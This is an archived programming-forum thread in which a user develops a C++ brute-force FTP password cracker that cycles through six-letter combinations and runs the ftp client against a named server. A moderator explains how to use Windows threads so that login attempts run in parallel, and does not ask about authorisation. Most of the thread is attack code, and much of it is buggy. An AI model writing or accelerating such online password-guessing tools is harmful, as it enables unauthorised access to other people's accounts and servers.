473,799 Members | 2,942 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

system() in for loop

109 New Member
I am running a loop which logs me into my ftp account. However, I need it to run VERY fast repeatedly. My problem is that, whether the login is successful or unsuccessful, it is quite slow because it has to then wait to login again etc. This is the code just for my login:

Expand|Select|Wrap|Line Numbers
  1. cout<< a << b << c << d << e << f <<"\n";
  2. ofstream record ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
  3. record<< a << b << c << d << e << f;
  4. record.close();
  5. ifstream readrecord ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
  6. char password[6];
  7. readrecord>> password;
  8. ofstream ftpscript ( "c:\\Dave\\C-programming\\Password Cracker\\ftpscript.txt" );
  9. ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  10. ftpscript.close();
  11. system("cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.<my-website>.org.uk");
This code is in a for loop which needs to run at very high speeds. If I take out the system() command it runs at the speed I require, but if I leave it in (which I need to or the program will not be doing what I want it to) it does about one attempt to login every 2 seconds, that is very slow for a for loop.
Jun 30 '07
21 2271
weaknessforcats
9,208 Recognized Expert Moderator Expert
I didn't know you were going to use a class.

With a class it's a little different. Here is code that works:
Expand|Select|Wrap|Line Numbers
  1.  
  2.  
  3. //Demo of how to create a thread within a class
  4.  
  5.  
  6. #include <iostream>
  7. using namespace std;
  8. #include <windows.h>
  9.  
  10.  
  11. class MyClass
  12. {
  13.     public:
  14.         MyClass();
  15.         static DWORD WINAPI StartThreadOne(LPVOID in);
  16.         void LaunchOne();
  17.         void ExecuteThreadOne();
  18.         int GetDataOne() { return DataOne;}
  19.         void SetDataOne(int in) {DataOne = in;}
  20.  
  21.     private:
  22.         HANDLE hThreadOne;
  23.         int DataOne;
  24. };
  25.  
  26.     MyClass::MyClass() : hThreadOne(0), DataOne(0)
  27. {
  28.  
  29. }
  30.  
  31. void MyClass::LaunchOne()
  32. {
  33.     DWORD threadid;                    //to hold the returned thread id
  34.     HANDLE th = CreateThread(
  35.                         NULL,        //use default security
  36.                         0,            //use stack size of calling thread
  37.                         StartThreadOne,       //the thread
  38.                         this,            //the thread input argument
  39.                         0,            //run immediately
  40.                         &threadid
  41.                         );
  42.     if (!th)
  43.     {
  44.         cout << "CreateThread failed" << endl;
  45.     }
  46.  
  47. }
  48.  
  49. DWORD WINAPI MyClass::StartThreadOne(LPVOID in)
  50. {
  51.     reinterpret_cast<MyClass*> (in) ->ExecuteThreadOne();
  52.  
  53.     return 0;    //thread completed
  54. }
  55.  
  56. void MyClass::ExecuteThreadOne()
  57. {
  58.     while (1)
  59.     {
  60.         DataOne++;
  61.         Sleep(500);
  62.     }
  63. }
  64.  
  65.  
  66.  
  67.  
  68. int main()
  69. {
  70.     cout << "Starting main()" << endl;
  71.     MyClass  obj;
  72.              obj.LaunchOne();
  73.  
  74.     int buffer;
  75.     while (1)
  76.     {
  77.         buffer = obj.GetDataOne();
  78.         cout << buffer << " ";
  79.         Sleep(500);
  80.         if (buffer > 20)
  81.         {
  82.             obj.SetDataOne(0);
  83.         }
  84.     }
  85.  
  86.     return 0;
  87. }
  88.  
  89.  
  90.  
  91. /*
  92. HANDLE CreateThread(
  93.   LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
  94.   DWORD dwStackSize,                        // initial stack size
  95.   LPTHREAD_START_ROUTINE lpStartAddress,    // thread function
  96.   LPVOID lpParameter,                       // thread argument
  97.   DWORD dwCreationFlags,                    // creation option
  98.   LPDWORD lpThreadId                        // thread identifier
  99. );
  100. */
  101.  
So, in main() you create a MyClass object and call the LaunchOne() method.

MyClass::Launch One() does the call to ::CreateThread using the threadproc which is MyClass::StartT hreadOne. Note that this is a static member function. The function used in the ::CreateThread( ) argument cannot require an object. Hence, the static.

Once MyClass::StartT hreadOne() starts, it casts the LPVOID (provided by ::CreateThread( ) where a MyClass this was used for the thread argument) to a MyClass pointer. Now you can run methods on your class. In this example it is MyClass::Execut eThreadOne() that is really doing the work.

Change your code to operate along these lines.
Jul 3 '07 #11
niskin
109 New Member
Ok this is a little complicated. The reason I was using a class is because I found a site which showed how to do it with a class, but if there is a simpler way to do it I would be grateful for a way to do it without a class.

And congratulations on breaking the 1000 posts mark.
Jul 3 '07 #12
niskin
109 New Member
This is most of my source code (without functions int seven() and int eight() included) without creating a thread if it helps:

Expand|Select|Wrap|Line Numbers
  1. #include <fstream>
  2. #include <iostream>
  3. #include <stdio.h>
  4. #include <windows.h>
  5.  
  6. using namespace std;
  7.  
  8. int six();
  9. //int seven();
  10. //int eight();
  11.  
  12. int main() {
  13.  
  14.     char letters[100];
  15.     char username[20];
  16.     cout<<"Enter the username to use: ";
  17.     cin.getline(username,20);
  18.     ofstream user ( "username.txt" );
  19.     user<< username;
  20.     user.close();
  21.     cout<<"\nEnter the letters to use: ";
  22.     cin.getline(letters,100);
  23.     ofstream record ( "record.txt" );
  24.     record<< letters;
  25.     record.close();
  26.  
  27.     if(strlen(letters)==6) {
  28.                            six();
  29.                            }
  30. //    if(strlen(letters)==7) {
  31. //                          seven();
  32. //                          }
  33. //    if(strlen(letters)==8) {
  34. //                           eight();
  35. //                           }
  36. }
  37.  
  38. int six() {
  39.  
  40.     char letters[100];
  41.     char username[20];
  42.     ifstream user ( "username.txt" );
  43.     user>> username;
  44.     user.close();
  45.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  46.     ifstream record ( "record.txt" );
  47.     record>> letters;
  48.     record.close();
  49.     for(char a = letters[0]; a <= alphabet[25]; a++)
  50.     {
  51.              for(char b = letters[1]; b <= alphabet[25]; b++)
  52.              {
  53.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  54.                       {
  55.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  56.                            {
  57.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  58.                                     {
  59.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  60.                                              {
  61.                                                       FILE *success;
  62.                                                       success=fopen("success.txt", "w+");
  63.                                                       fprintf(success, "");
  64.                                                       fclose(success);
  65.                                                       cout<< a << b << c << d << e << f <<"\n";
  66.                                                       ofstream record ( "record.txt" );
  67.                                                       record<< a << b << c << d << e << f;
  68.                                                       record.close();
  69.                                                       ifstream readrecord ( "record.txt" );
  70.                                                       char password[6];
  71.                                                       readrecord>> password;
  72.                                                       ofstream ftpscript ( "ftpscript.txt" );
  73.                                                       ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  74.                                                       ftpscript.close();
  75.                                                       char   psBuffer[128];
  76.                                                       FILE   *pPipe;
  77.                                                       /* Run command so that it writes its output to a pipe. Open this
  78.                                                       * pipe with read text attribute so that we can read it 
  79.                                                       * like a text file. 
  80.                                                       */
  81.                                                       if( (pPipe = _popen("<command-to-connect-to-ftp>", "rt" )) == NULL )
  82.                                                       exit( 1 );
  83.  
  84.                                                       /* Read pipe until end of file. */
  85.                                                       while( !feof( pPipe ) )
  86.                                                       {
  87.                                                       if( fgets( psBuffer, 128, pPipe ) != NULL )
  88.                                                       //printf( psBuffer );
  89.                                                       FILE *success;
  90.                                                       success=fopen("success.txt", "a+");
  91.                                                       fprintf(success, psBuffer);
  92.                                                       fclose(success);
  93.                                                       }
  94.  
  95.                                                       char reada[20];
  96.                                                       char readb[20];
  97.                                                       char readc[20];
  98.                                                       char readd[20];
  99.                                                       char reade[20];
  100.                                                       char readf[20];
  101.                                                       char readg[20];
  102.                                                       char readh[20];
  103.                                                       char readi[20];
  104.                                                       char readj[20];
  105.                                                       char readk[20];
  106.                                                       char readl[20];
  107.                                                       char readm[20];
  108.                                                       int readn;
  109.  
  110.                                                       ifstream read ( "success.txt" );
  111.                                                       read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  112.                                                       read.close();
  113.                                                       //cout<< readn;
  114.                                                       if (readn == 230){
  115.                                                                 cout<< "\n\nYou are now logged on";
  116.                                                                 cin.get();
  117.                                                       }
  118.  
  119.                                                       }
  120.                                              }
  121.                                     }
  122.                            }    
  123.                       }
  124.              }
  125. }
  126.  
  127. //int seven() and int eight() are similar to six()
Jul 3 '07 #13
weaknessforcats
9,208 Recognized Expert Moderator Expert
All you do is call CreateThread() in your main().

Write a ThreadProc function:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI ThreadProc(LPVOID);
  2.  
Yours might be:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI Niskin(LPVOID arg)
  2. {
  3.       //The LPVOID argument is the address of a struct Data (see below)
  4.       //Type cast arg to a Data* to access the members.
  5.       //do the ftp in here.
  6. }
  7.  

You need a file name, a userid and a password. Use a struct for this.
Expand|Select|Wrap|Line Numbers
  1. struct Data
  2. {
  3.     char* file name;
  4.     char* userid;
  5.     char* password;
  6. };
  7.  
Create a Data variable and intialize the members.

Then call:
Expand|Select|Wrap|Line Numbers
  1. Data var;
  2. /*intialize the var members */
  3.  
  4. DWORD threadid;     //to hold the returned thread id
  5.     HANDLE th = CreateThread(
  6.                         NULL,      //use default security
  7.                         0,      //use stack size of calling thread
  8.                         niskin,     //the thread
  9.                         &var,         //the thread input argument
  10.                         0,      //run immediately
  11.                         &threadid
  12.                         );
  13.  
If the return is not NULL, you have a successful thread launch. The thread ID is in that DWORD. You use the thread ID to communicate with your thread if necessary.

I did not compile this example. This is to just give you the idea.
Jul 4 '07 #14
niskin
109 New Member
All you do is call CreateThread() in your main().

Write a ThreadProc function:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI ThreadProc(LPVOID);
  2.  
Yours might be:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI Niskin(LPVOID arg)
  2. {
  3.       //The LPVOID argument is the address of a struct Data (see below)
  4.       //Type cast arg to a Data* to access the members.
  5.       //do the ftp in here.
  6. }
  7.  

You need a file name, a userid and a password. Use a struct for this.
Expand|Select|Wrap|Line Numbers
  1. struct Data
  2. {
  3.     char* file name;
  4.     char* userid;
  5.     char* password;
  6. };
  7.  
Do I need to use a struct because I am writing the data to a file and then using that file in the ftp command?

Also, I am using 6 for loops for the six() function, 7 for the seven() function etc. and I need to run a new thread each time the loop starts again. Where abouts should I put the code to start the thread? Should it be inside the loop?

I have tried this:

Expand|Select|Wrap|Line Numbers
  1. int six() {
  2.  
  3.  
  4.  
  5.     char letters[100];
  6.     char username[20];
  7.     ifstream user ( "username.txt" );
  8.     user>> username;
  9.     user.close();
  10.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  11.     ifstream record ( "record.txt" );
  12.     record>> letters;
  13.     record.close();
  14.     struct Data
  15.     {
  16.            char* userid;
  17.            char* password;
  18.     };
  19.     Data var;
  20.     for(char a = letters[0]; a <= alphabet[25]; a++)
  21.     {
  22.              for(char b = letters[1]; b <= alphabet[25]; b++)
  23.              {
  24.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  25.                       {
  26.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  27.                            {
  28.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  29.                                     {
  30.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  31.                                              {
  32.                                                       DWORD WINAPI niskin(LPVOID);
  33.                                                       {
  34.                                                             //The LPVOID argument is the address of a struct Data (see below)
  35.                                                             //Type cast arg to a Data* to access the members.
  36.                                                             //do the ftp in here.
  37.                                                             FILE *success;
  38.                                                             success=fopen("success.txt", "w+");
  39.                                                             fprintf(success, "");
  40.                                                             fclose(success);
  41.                                                             cout<< a << b << c << d << e << f <<"\n";
  42.                                                             ofstream record ( "record.txt" );
  43.                                                             record<< a << b << c << d << e << f;
  44.                                                             record.close();
  45.                                                             ifstream readrecord ( "record.txt" );
  46.                                                             char password[6];
  47.                                                             readrecord>> password;
  48.                                                             ofstream ftpscript ( "ftpscript.txt" );
  49.                                                             ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  50.                                                             ftpscript.close();
  51.                                                             char   psBuffer[128];
  52.                                                             FILE   *pPipe;
  53.                                                             /* Run command so that it writes its output to a pipe. Open this
  54.                                                              * pipe with read text attribute so that we can read it 
  55.                                                              * like a text file. 
  56.                                                              */
  57.                                                             if( (pPipe = _popen( "<command-to-log-on-to-ftp>", "rt" )) == NULL )
  58.  
  59.                                                             /* Read pipe until end of file. */
  60.                                                             while( !feof( pPipe ) )
  61.                                                             {
  62.                                                             if( fgets( psBuffer, 128, pPipe ) != NULL )
  63.                                                             //printf( psBuffer );
  64.                                                             FILE *success;
  65.                                                             success=fopen("success.txt", "a+");
  66.                                                             fprintf(success, psBuffer);
  67.                                                             fclose(success);
  68.                                                             }
  69.  
  70.                                                       }
  71.  
  72.                                                       DWORD threadid;     //to hold the returned thread id
  73.                                                       HANDLE th = CreateThread(
  74.                                                              NULL,      //use default security
  75.                                                              0,      //use stack size of calling thread
  76.                                                              niskin,     //the thread
  77.                                                              &var,         //the thread input argument
  78.                                                              0,      //run immediately
  79.                                                              &threadid
  80.                                                              );
  81.  
  82.  
  83.                                                       char reada[20];
  84.                                                       char readb[20];
  85.                                                       char readc[20];
  86.                                                       char readd[20];
  87.                                                       char reade[20];
  88.                                                       char readf[20];
  89.                                                       char readg[20];
  90.                                                       char readh[20];
  91.                                                       char readi[20];
  92.                                                       char readj[20];
  93.                                                       char readk[20];
  94.                                                       char readl[20];
  95.                                                       char readm[20];
  96.                                                       int readn;
  97.  
  98.                                                       ifstream readrecord ( "record.txt" );
  99.                                                       char password[6];
  100.                                                       readrecord>> password;
  101.                                                       ifstream read ( "success.txt" );
  102.                                                       read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  103.                                                       read.close();
  104.                                                       if (readn == 230){
  105.                                                                 cout<< "\n\nYou are now logged on";
  106.                                                                 cin.get();
  107.                                                       }
  108.  
  109.                                                       }
  110.                                              }
  111.                                     }
  112.                            }    
  113.                       }
  114.              }
  115. }
  116.  
I get an error compiling it that says "[Linker error] undefined reference to '_Z6niskinPv@4' "
Jul 4 '07 #15
weaknessforcats
9,208 Recognized Expert Moderator Expert
You need a struct becuse the thread function can have only an LPVOID argument. There is not way to pass in multiple arguments. So you create a struct variable and pass the address of the variable as the LPVOID. Then indise the threrad function you can typecaste the LPVOID back to a struct pointer to access the members.

So, you ceate a struct variable an call CreateThread(). The CreateThread() can be indie a loop provided you can use different struct pointers for each call.

On line 32 you have this:
Expand|Select|Wrap|Line Numbers
  1.  DWORD WINAPI niskin(LPVOID);
  2.  
That is a function prototype. Move this to the top of the file.
Jul 5 '07 #16
niskin
109 New Member
I'm still getting the same error as before. Please point out whatever I have done wrong in my code:

Expand|Select|Wrap|Line Numbers
  1. #include <fstream>
  2. #include <iostream>
  3. using namespace std;
  4. #include <windows.h>
  5.  
  6. int six();
  7. DWORD WINAPI niskin(LPVOID);
  8.  
  9. int main() {
  10.  
  11.     char letters[100];
  12.     char username[20];
  13.     cout<<"Enter the username to use: ";
  14.     cin.getline(username,20);
  15.     ofstream user ( "username.txt" );
  16.     user<< username;
  17.     user.close();
  18.     cout<<"\nEnter the letters to use: ";
  19.     cin.getline(letters,100);
  20.     ofstream record ( "record.txt" );
  21.     record<< letters;
  22.     record.close();
  23.  
  24.     if(strlen(letters)==6) {
  25.                            six();
  26.                            }
  27.     /*if(strlen(letters)==7) {
  28.                           seven();
  29.                           }
  30.     if(strlen(letters)==8) {
  31.                            eight();
  32.                            }*/
  33. }
  34.  
  35.  
  36. int six() {
  37.  
  38.  
  39.  
  40.     char letters[100];
  41.     char username[20];
  42.     ifstream user ( "username.txt" );
  43.     user>> username;
  44.     user.close();
  45.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  46.     ifstream record ( "record.txt" );
  47.     record>> letters;
  48.     record.close();
  49.     struct Data
  50.     {
  51.            char* userid;
  52.            char* password;
  53.     };
  54.     Data var;
  55.     for(char a = letters[0]; a <= alphabet[25]; a++)
  56.     {
  57.              for(char b = letters[1]; b <= alphabet[25]; b++)
  58.              {
  59.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  60.                       {
  61.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  62.                            {
  63.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  64.                                     {
  65.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  66.                                              {
  67.  
  68.  
  69.                                                             //The LPVOID argument is the address of a struct Data (see below)
  70.                                                             //Type cast arg to a Data* to access the members.
  71.                                                             //do the ftp in here.
  72.                                                             FILE *success;
  73.                                                             success=fopen("success.txt", "w+");
  74.                                                             fprintf(success, "");
  75.                                                             fclose(success);
  76.                                                             cout<< a << b << c << d << e << f <<"\n";
  77.                                                             ofstream record ( "record.txt" );
  78.                                                             record<< a << b << c << d << e << f;
  79.                                                             record.close();
  80.                                                             ifstream readrecord ( "record.txt" );
  81.                                                             char password[6];
  82.                                                             readrecord>> password;
  83.                                                             ofstream ftpscript ( "ftpscript.txt" );
  84.                                                             ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  85.                                                             ftpscript.close();
  86.                                                             char   psBuffer[128];
  87.                                                             FILE   *pPipe;
  88.                                                             /* Run command so that it writes its output to a pipe. Open this
  89.                                                              * pipe with read text attribute so that we can read it 
  90.                                                              * like a text file. 
  91.                                                              */
  92.                                                             if( (pPipe = _popen( "<command-to-connect-to-ftp>", "rt" )) == NULL )
  93.  
  94.                                                             /* Read pipe until end of file. */
  95.                                                             while( !feof( pPipe ) )
  96.                                                             {
  97.                                                             if( fgets( psBuffer, 128, pPipe ) != NULL )
  98.                                                             //printf( psBuffer );
  99.                                                             FILE *success;
  100.                                                             success=fopen("success.txt", "a+");
  101.                                                             fprintf(success, psBuffer);
  102.                                                             fclose(success);
  103.                                                             }
  104.  
  105.  
  106.  
  107.                                                       DWORD threadid;     //to hold the returned thread id
  108.                                                       HANDLE th = CreateThread(
  109.                                                              NULL,      //use default security
  110.                                                              0,      //use stack size of calling thread
  111.                                                              niskin,     //the thread
  112.                                                              &var,         //the thread input argument
  113.                                                              0,      //run immediately
  114.                                                              &threadid
  115.                                                              );
  116.  
  117.  
  118.                                                       char reada[20];
  119.                                                       char readb[20];
  120.                                                       char readc[20];
  121.                                                       char readd[20];
  122.                                                       char reade[20];
  123.                                                       char readf[20];
  124.                                                       char readg[20];
  125.                                                       char readh[20];
  126.                                                       char readi[20];
  127.                                                       char readj[20];
  128.                                                       char readk[20];
  129.                                                       char readl[20];
  130.                                                       char readm[20];
  131.                                                       int readn;
  132.  
  133.  
  134.                                                       readrecord>> password;
  135.                                                       ifstream read ( "success.txt" );
  136.                                                       read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  137.                                                       read.close();
  138.                                                       if (readn == 230){
  139.                                                                 cout<< "\n\nYou are now logged in";
  140.                                                                 cin.get();
  141.                                                       }
  142.  
  143.                                                       }
  144.                                              }
  145.                                     }
  146.                            }    
  147.                       }
  148.              }
  149. }
  150.  
  151.  
Jul 5 '07 #17
weaknessforcats
9,208 Recognized Expert Moderator Expert
You haven't written the thread function:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI niskin(LPVOID)
  2. {
  3.     //this is your thread logic     
  4. }
  5.  
Jul 6 '07 #18
niskin
109 New Member
Sorry that I've needed so much help on this, I've now got this (it's a bit messy, I've just been rearranging my code by copying and pasting it into the right parts, haven't tidied it up yet):

Expand|Select|Wrap|Line Numbers
  1. #include <fstream>
  2. #include <iostream>
  3. using namespace std;
  4. #include <windows.h>
  5.  
  6. int six();
  7. DWORD WINAPI niskin(LPVOID)
  8. {
  9.           char letters[100];
  10.     char username[20];
  11.     ifstream user ( "username.txt" );
  12.     user>> username;
  13.     user.close();
  14.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  15.     ifstream record ( "record.txt" );
  16.     record>> letters;
  17.     record.close();
  18.       for(char a = letters[0]; a <= alphabet[25]; a++)
  19.     {
  20.              for(char b = letters[1]; b <= alphabet[25]; b++)
  21.              {
  22.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  23.                       {
  24.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  25.                            {
  26.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  27.                                     {
  28.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  29.                                              {
  30.  
  31.       //The LPVOID argument is the address of a struct Data (see below)
  32.       //Type cast arg to a Data* to access the members.
  33.       //do the ftp in here.
  34.       FILE *success;
  35.       success=fopen("success.txt", "w+");
  36.       fprintf(success, "");
  37.       fclose(success);
  38.       cout<< a << b << c << d << e << f <<"\n";
  39.       ofstream record ( "record.txt" );
  40.       record<< a << b << c << d << e << f;
  41.       record.close();
  42.       ifstream readrecord ( "record.txt" );
  43.       char password[6];
  44.       readrecord>> password;
  45.       ofstream ftpscript ( "ftpscript.txt" );
  46.       ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  47.       ftpscript.close();
  48.       char   psBuffer[128];
  49.       FILE   *pPipe;
  50.       /* Run command so that it writes its output to a pipe. Open this
  51.        * pipe with read text attribute so that we can read it 
  52.        * like a text file. 
  53.        */
  54.       if( (pPipe = _popen( "cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.collateraldesign.co.uk", "rt" )) == NULL )
  55.  
  56.       /* Read pipe until end of file. */
  57.       while( !feof( pPipe ) )
  58.       {
  59.       if( fgets( psBuffer, 128, pPipe ) != NULL )
  60.       //printf( psBuffer );
  61.       FILE *success;
  62.       success=fopen("success.txt", "a+");
  63.       fprintf(success, psBuffer);
  64.       fclose(success);
  65.       }
  66.       char reada[20];
  67.                                                       char readb[20];
  68.                                                       char readc[20];
  69.                                                       char readd[20];
  70.                                                       char reade[20];
  71.                                                       char readf[20];
  72.                                                       char readg[20];
  73.                                                       char readh[20];
  74.                                                       char readi[20];
  75.                                                       char readj[20];
  76.                                                       char readk[20];
  77.                                                       char readl[20];
  78.                                                       char readm[20];
  79.                                                       int readn;
  80.  
  81.  
  82.                                                       readrecord>> password;
  83.                                                       ifstream read ( "success.txt" );
  84.                                                       read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  85.                                                       read.close();
  86.                                                       if (readn == 230){
  87.                                                                 cout<< "\n\nPASSWORD CRACKED. PASSWORD IS: " << password;
  88.                                                                 cin.get();
  89.       }
  90.                                              }
  91.                                     }
  92.                            }    
  93.                       }
  94.              }
  95. }
  96. }
  97. int main() {
  98.  
  99.     char letters[100];
  100.     char username[20];
  101.     cout<<"hailFTP written by NAViiS.KiNDD\n\n" <<"Enter the username to use: ";
  102.     cin.getline(username,20);
  103.     ofstream user ( "username.txt" );
  104.     user<< username;
  105.     user.close();
  106.     cout<<"\nEnter the letters to use: ";
  107.     cin.getline(letters,100);
  108.     ofstream record ( "record.txt" );
  109.     record<< letters;
  110.     record.close();
  111.  
  112.     if(strlen(letters)==6) {
  113.                            six();
  114.                            }
  115.     /*if(strlen(letters)==7) {
  116.                           seven();
  117.                           }
  118.     if(strlen(letters)==8) {
  119.                            eight();
  120.                            }*/
  121. }
  122.  
  123.  
  124. int six() {
  125.  
  126.  
  127.  
  128.  
  129.     struct Data
  130.     {
  131.            char* userid;
  132.            char* password;
  133.     };
  134.     Data var;
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.                                                       DWORD threadid;     //to hold the returned thread id
  143.                                                       HANDLE th = CreateThread(
  144.                                                              NULL,      //use default security
  145.                                                              0,      //use stack size of calling thread
  146.                                                              niskin,     //the thread
  147.                                                              &var,         //the thread input argument
  148.                                                              0,      //run immediately
  149.                                                              &threadid
  150.                                                              );
  151.                                                            cin.get();
  152.  
  153.  
  154.  
  155.                                                       }
The code compiles, and then does about 100 attempts to login, however I knew the first password should be correct, but it didn't stop the program as it should when it is successful. And after about 200 attempts the program stopped responding.
Jul 6 '07 #19
weaknessforcats
9,208 Recognized Expert Moderator Expert
You are really on the wrong track here.

Your thread needs a userid, password, and ftp command line.
I would have expected:
Expand|Select|Wrap|Line Numbers
  1. struct Data
  2.     {
  3.            char* userid;
  4.            char* password;
  5.            char* ftpcommandline;
  6.     };
  7.     Data var;
  8.  
The thread function would be:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI niskin(LPVOID arg)
  2. {
  3.       Data*  ptr = reinterpret_cast<Data*> (arg);
  4.       //
  5.       //OK. Now ptr->userid is rthe userid
  6.       //              ptr->password
  7.       //              ptr->ftpcommandline
  8.       //
  9.       //TODO: Build a string using this stuff and call the system()
  10.       system("your ftp string does here");
  11. }
  12.  
In your main() you create Data variables with the various userids, paswswords and ftp command lines and you call CreateThread() fo every one of these variables using the address of the variable as the thread argument and niskin as the thread function.

All of the reading >> >> << << , etc. stays in main().

Write a function to start the thread:
Expand|Select|Wrap|Line Numbers
  1. HANDLE StartThread(Data* arg)
  2. {
  3. DWORD threadid;     //to hold the returned thread id
  4. HANDLE th = CreateThread(
  5.                            NULL,      //use default security
  6.                      0,      //use stack size of calling thread
  7.                      niskin,     //the thread
  8.                     (LPVOID)arg,         //the thread input argument
  9.                      0,      //run immediately
  10.                     &threadid
  11.                                                              );
  12. return th;
  13. }
  14.  
Then in main() you just create a Data variable and call StartThread():
Expand|Select|Wrap|Line Numbers
  1. Data var1;
  2.         //put values to the var1 members
  3.         StartThread(&var1);
  4. Data var2;
  5.         //put values to the var2members
  6.         StartThread(&var2);
  7. Data var3;
  8.         //put values to the var3 members
  9.         StartThread(&var3);
  10.  
You can check the return from StartThread() and if ti is not null, then the thread was successfully started.
Jul 7 '07 #20

Sign in to post your reply or Sign up for a free account.

Similar topics

1
2690
by: Bob Helber | last post by:
I've got a perl script with a system command, within a for loop, that calls a FORTRAN program. For one of the iterations of the for loop the FORTRAN program quits with an error due to bad input. This then exits the for loop and does not continue the loop, which I would like it to do, even if the FORTRAN program crashes. How can I "catch" this error and continue the loop. Do I have to fix the FORTRAN program to exit more cleanly? ...
3
514
by: RitaG | last post by:
Hi. I Have a VB.Net Windows Application that starts up using Sub Main. It's a program that runs in the background and checks something every minute. I use a Timer to accomplish this and it's working but to get it to work I use a boolean variable (mbLoop) and the program runs until mbLoop is set to False. Do While mbLoop ' Loop
1
2590
by: dk | last post by:
Any idea why the response time is slow when running a system tray app when viewing the properties form? There is one primary loop and a timer control which executes every 3minutes. Is having the Primary loop the problem? tia, dk
5
8124
by: Ty Moffett | last post by:
I'm using a queue to hold a series of strings that are complete command line arguments to start the silent/unattended installation of various pieces of software. Here is some sample code. 1 Dim myProcess as New Process 2 myProcess.EnableRaiseEvents = True 3 myProcess.StartInfo.Filename = myQ.Dequeue ' The string value in this instance is "c:\windowsXP-KB824146-x86-ENU.exe /u /n /z" 4 Do Until (myProcess.HasExited = True) 5 Loop
2
2361
by: Stressed Out Developer | last post by:
We have an application that has a 200 count loop that does the following: ' Each time thru the loop we pass the next IP Address is a range (aka 192.168.4.50 thru 192.168.4.254) Try If mUIO_Threads(i) Is Nothing Then mUIO_Threads(i) = New System.Threading.Thread(AddressOf mUIO_DAQ(i).InitDAQ) mUIO_Threads(i).Name = mUIO_DAQ(i).UIO_IPAddr mUIO_Threads(i).IsBackground = False
5
4495
by: MSDN | last post by:
Does anyone know why I am getting Invalid cast exception??? For Each oFile As System.web.HttpPostedFile In Request.Files ....... etc..... Next I Checked that
5
3458
by: =?Utf-8?B?Z215ZXJz?= | last post by:
Hello, I am attempting to start a cmd.exe process and pass several .vbs scripts (with additional parameters) and then read the output from the scripts and make "notes" in a DataTable (the "notes" not being the issue). Beginning with... Dim objProcess As Process Dim objProcessStartInfo As New ProcessStartInfo
9
5619
by: Nathan Sokalski | last post by:
I am trying to use the System.Array.ForEach method in VB.NET. The action that I want to perform on each of the Array values is: Private Function AddQuotes(ByVal value As String) As String Return String.Format("'{0}'", value) End Function Basically, I just want to surround each value with single quotes. However, I am having trouble getting this to work using the System.Array.ForEach method. This may be partially because I am not very...
0
9685
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look ! Part I. Meaning of...
0
10249
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth. The Art of Business Website Design Your website is...
1
10219
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
10025
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
1
7563
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
0
5461
